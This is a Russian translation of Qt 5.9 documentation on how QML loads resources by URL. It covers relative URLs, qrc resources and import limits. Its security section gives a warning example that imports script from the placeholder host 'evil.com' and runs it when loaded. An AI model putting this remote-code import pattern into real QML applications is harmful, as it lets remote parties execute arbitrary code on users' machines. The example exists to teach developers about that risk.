Загрузка ресурсов и сетевая прозрачность
QML поддерживает сетевую прозрачность, используя URL-адреса (а не имена файлов) для всех ссылок из документа QML на другой контент. Это означает, что QML может обрабатывать удаленные ресурсы так же, как и локальные, в любом месте, где ожидается источник URL, например, в следующем источнике изображения:
Image {
source: "http://www.example.com/images/logo.png"
} Поскольку относительный URL-адрес такой же, как и относительный файл, разработка QML в обычных файловых системах остается простой:
Image {
source: "images/logo.png"
} Сетевая прозрачность поддерживается во всем QML, например, элементы FontLoader и Image поддерживают загрузку ресурсов с удаленного сервера.
Даже типы QML сами могут находиться в сети — если используется Прототипирование с qmlscene для загрузки http://example.com/mystuff/Hello.qml и этот контент ссылается на тип «World», движок загрузит http://example.com/mystuff/qmldir и разрешит тип так же, как и для локального файла. Например, если файл qmldir содержит строку «World World.qml», он загрузит http://example.com/mystuff/World.qml Любые другие ресурсы, на которые Hello.qml ссылаются, обычно с помощью относительного URL-адреса, аналогичным образом будут загружены из сети.
Относительные и абсолютные URL-адреса
Всякий раз, когда у объекта есть свойство типа URL (QUrl), присвоение строки этому свойству фактически присвоит абсолютный URL-адрес — путем разрешения строки относительно URL-адреса документа, в котором используется эта строка.
Например, рассмотрим этот контент в http://example.com/mystuff/test.qml:
Image {
source: "images/logo.png"
} Свойство источника Image получит значение http://example.com/mystuff/images/logo.png, но во время разработки QML, скажем, в C:\User\Fred\Documents\MyStuff\test.qml, оно получит значение C:\User\Fred\Documents\MyStuff\images\logo.png.
Если строка, присвоенная URL, уже является абсолютным URL-адресом, то «разрешение» не изменяет его, и URL-адрес присваивается непосредственно.
Ресурсы QRC
Одна из встроенных в Qt схем URL — схема «qrc». Это позволяет скомпилировать контент в исполняемый файл с помощью Системы ресурсов Qt. Используя это, исполняемый файл может ссылаться на QML-контент, который скомпилирован в исполняемый файл:
QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml")); Затем сам контент может использовать относительные URL-адреса и, таким образом, будет прозрачно не знать, что контент скомпилирован в исполняемый файл.
Ограничения
Выражение import является сетево-прозрачным только в том случае, если оно имеет условный оператор «as».
Более конкретно:
-
import "dir"работает только в локальных файловых системах -
import libraryUriработает только в локальных файловых системах -
import "dir" as Dработает в сетевом режиме -
import libraryUrl as Uработает в сетевом режиме
Последствия для безопасности приложения
Модель безопасности QML заключается в том, что QML-контент представляет собой цепочку доверенного контента: пользователь устанавливает доверенный QML-контент так же, как устанавливает родные приложения Qt или программы, написанные с использованием сред выполнения, таких как Python и Perl. Эта доверие устанавливается с помощью различных механизмов, включая наличие цифровой подписи пакетов на некоторых платформах.
Для сохранения доверия пользователей разработчики QML-приложений не должны загружать и выполнять произвольные JavaScript или QML-ресурсы. Например, рассмотрим следующий QML-код:
import QtQuick 2.0
import "http://evil.com/evil.js" as Evil
Component {
onLoaded: Evil.doEvil()
} Это эквивалентно загрузке и выполнению «http://evil.com/evil.exe». Движок QML не будет препятствовать загрузке конкретных ресурсов. В отличие от JavaScript-кода, который выполняется в веб-браузере, QML-приложение может загружать удаленные или локальные ресурсы файловой системы так же, как и любые другие родные приложения, поэтому разработчики приложений должны быть осторожны при загрузке и выполнении любого контента.
Как и любое приложение, обращающееся к контенту за пределами своего контроля, QML-приложение должно выполнять соответствующие проверки любого недоверенного данных, которое оно загружает. Не используйте, например, import, Loader или XMLHttpRequest для загрузки любого недоверенного кода или контента.
© The Qt Company Ltd
Licensed under the GNU Free Documentation License, Version 1.3.
https://doc.qt.io/qt-5.9/qtqml-documents-networktransparency.html